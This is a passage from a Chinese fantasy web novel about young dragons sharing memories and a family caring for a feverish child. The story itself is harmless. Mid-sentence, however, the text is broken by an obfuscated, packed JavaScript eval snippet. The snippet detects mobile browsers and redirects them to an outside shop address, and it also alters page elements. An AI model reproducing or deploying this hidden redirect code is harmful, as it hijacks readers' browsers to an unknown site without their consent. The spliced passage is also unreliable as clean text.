洛云杳惊得两只冲天辫炸了炸:“啊?那、那你来找我是要说悄悄话吗?” 轩辕明苍:“我想看看你的记忆,作为交换,你也能看我的。” 洛云杳想了想,觉得好朋友之间看个记忆没什么问题,于是爽快点头。 两只传承记忆不全的小龙不知道记忆识海不能随便放外人进来,更不知道这样直接闯入让识海轻则受损,重则变成白痴。 但这是对“外人”来说,对于洛云杳和轩辕明苍而言,世上没有比他们之间更亲密的关系了。 “骨髓天合”并不是一句莫须有的空话。 所以在洛云杳打开枯荣门上的锁链后,轩辕明苍轻而易举地进入了他的记忆识海,没有丝毫意外出现。 刹那间记忆汇聚的洪流缠上了满眼新奇的小金龙,让幼崽从头到脚连头发丝都变成了淡金色的模样。 “你想先看什么呀?”洛云杳翻了翻围绕在自己身边的花瓣。 “我想看你和爹爹父亲在一起时候的记忆。”轩辕明苍说着,在小金龙异常真挚的目光里低下头,“我的爹爹很早之前就离开了。” 洛云杳听出“离开”背后蕴含的浓浓悲伤,心一下就软了,顿时答应下来:“好,我找找!” 须臾后,五颜六色花瓣摆在了轩辕明苍面前。 洛云杳贴心地去除掉蛋壳里模糊不清的记忆,只剩下万族岛重逢后和爹爹父亲相处的美好时光。 于是好一会儿,似乎有些“近乡情怯”的小黑龙才抬起手,碰到了那片花海。 无数记忆纷飞,大多数时间都是幼崽跟在青年身后到处跑,然后时不时就会被男人抱起来逗一逗,炸毛了又会若无其事的放回去。 似乎很正常,起码对洛云杳来说。 轩辕明苍抿着唇,开始一个画面一个画面地仔细看过去。 万族岛时男人从不留宿的背影、启程时门缝里的对峙、必须同床共枕时的诡异沉默……最重要的是,两人离得最近的时候也不过是法衣相贴,眼神几乎没有过对视。 “我看完了。” 洛云杳“咦”了一声,翻翻剩下的记忆:“沐沐哥哥你还要看别的吗?” 轩辕明苍摇了摇头,道:“时间不够了。” 天已经快亮了。 . “昭昭、昭昭?” 掌心下的脸颊热乎乎的,温度似乎比昨天的高一些。 星眠说幼崽体内的龙神之力即将消耗殆尽,所以像凡人一样头疼脑热很正常。 但洛淮时现在不敢随便用灵力探查,俯下身贴了贴幼崽的额头,滚烫的热度让他顷刻间大脑一片空白。 “你忘了自己体温偏低了吗?”云临川压住青年的肩膀,伸手摸了摸幼崽的脑袋,“不热,是你太紧张了。” 自从确认幼崽经脉细弱后,他就没见过洛淮时放松过,整个人紧绷得像一条被拉扯到极致的琴弦,仿佛有一点风吹草动就能让他彻底万劫不复。 洛淮时:“那昭昭怎么还不──” “唔……爹爹?” 手掌被幼崽短短的手指抓住了,洛淮时终于松了一口气,抱起幼崽给了他一个早安吻:“怎么刚才不理爹爹?” 青年的身上带着好闻的冷香,这让刚睡醒的洛云杳脑子清楚不少,抓着青年垂下来的银发:“做梦……” 他梦见沐沐哥哥了,然后……他记不清楚了。 “做什么梦了?”云临川蹲了下去和幼崽面对面,“有没有大老虎?” 幼崽摇摇头。 “那父亲今天带你去抓大老虎。”云临川说着一把抱起幼崽,起身瞬间,空闲的右手鬼使神差般拉住了地面的青年。 “你……”洛淮时只得顺着力道起身,皱眉传音道,“松开,你疯了吗?” 男人却跟没听见传音一样,甚至变本加厉一把拉住了他的手掌。因为今早换了一身劲装的缘故,离得老远就能瞧见两人交叠在一起的手。 “你不觉得我们演得很假吗?”云临川的传音听起来和之前没什么区别,“老头说命星能代表本体,它那天那么执着让我们手牵手,肯定是因为昭昭发现我之前的相处方式不正常。” 洛淮时一时间无话可说。 握着他的手很热,虽然只是正常温度,但对他来说就像是碰到了一处烧得正旺的火炉。 帐篷外,轩辕父子正在烧火做饭。 轩辕硕全程一动不动,悠哉悠哉地看着小黑龙木着脸忙前忙后。 “啪嗒──” 盖肉汤的锅盖砸在了地上。 轩辕明苍直愣愣走到云临川面前,和那双幽绿色的眸子对视一眼,又围着洛淮时转了一圈。 没等他再仔细看,两人交握在一起的手被青年甩开了。 “明苍!汤都要熬干了快回来!”轩辕硕简直想找个地缝钻进去,对着明显更羞赧的洛淮时说了句“小孩子不懂事”,把自家儿子一把拎了过去。 气氛异常尴尬。 幼崽盯着青年红透了的耳朵,趴在男人耳边小声说:“爹爹是不是害羞了?” 云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479018|201641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临川看着青年颤抖的、按着剑柄的手,违心点头:“没错,他害羞了。” 其实是动杀心了。 但最终那点杀心还是被洛淮时按了下去,因为幼崽的神情带上了连他自己都没意识到到的欣喜。 就像星海里那颗胖乎乎的星星。 星星小朋友眨着大大的眼睛,对着他张开了双手。 洛淮时接过洛云杳后,耳边同样传来了幼崽奶乎乎的声音:“爹爹……我要告诉你一个秘密。” “什么秘密?” “父亲喜欢偷偷看你,等你看过去的时候又装作在看别的地方。” 这并不是秘密,男人的视线过于明显,带着复杂的探究,就算洛淮时想忽略都没法欺骗自己。 “珠珠说只有喜欢一个人才会经常看他,所以父亲肯定很喜欢你。” 偷听的云临川:“……?” “我没有!你别听他瞎说!我那是、我那是……” 男人的传音又快又急,似乎恼羞成怒,洛淮时懒得搭理,对着轩辕父子颔首,转身带着幼崽去深林里打猎。 “你看,我就说他们俩只是含蓄点吧。”轩辕硕摸了摸儿子的小脑袋瓜,没有注意到轩辕明苍依旧严肃的表情。 . 原定计划是半个月畅游龙岛,可还剩最后一处观星台没去的时候,洛云杳发起了高热昏迷不醒。 众人不得不直奔星眠的洞府,敲开了祭司的门。 凉滋滋的药液入腹,幼崽的状态好上不少,起码从毫无知觉变成了能听见一点声音。 “……都是你,非得要带昭昭去海里猎鲸。” “你怪我?我特意在你点头之后才带他去的,你怎么不说是你没看住让他接近了被污染的鲸尸?” “那头鲸怪是被魔血感染至死的。” “那又怎样?洛淮时,别告诉我你觉得是我放的魔血!虎毒尚且不食子,我在你眼里到底是什么人?!” 不要……吵架。 不怪父亲,也不怪爹爹,是他听见了海里鲸鱼的哀鸣,也是他想去净化鲸鱼被污染的三魂七魄。 可洛云杳太累了,他也不知道自己到底怎么了。 恍惚间,幼崽看见了自己搏动的心脏,像是一朵盛开在身体里的花,每一次跳动都有无数花瓣流经四肢百骸。 “噗通、噗通。” 连接花朵的经脉猛地干瘪下去,于此同时,他听见了一道生涩却稚嫩的承诺。 “不怕、会好起来。” . 会好起来吗? 洛云杳很快又失去了听觉。他知道自己这次生病和之前的每一次都不一样,似乎马上就要和这个世界彻底说再见。 恍惚间,他又看见了一片熟悉的白光。 “完成任务了吗?”影子猛地出现在他面前,蹲下身揉了揉他的脑袋。 幼崽愣了一下,然后呆呆摇头:“还没有,昭昭生病了。” 影子:“没关系,生病了就要好好治病。” 幼崽的脑袋沉得像是灌了一汪水:“可是昭昭病得很严重……” “有人向我许愿,希望他的好朋友能好起来。”影子又捏了捏他的脸,“你想好起来吗?” “但想要我帮忙,你得付出相应的代价。”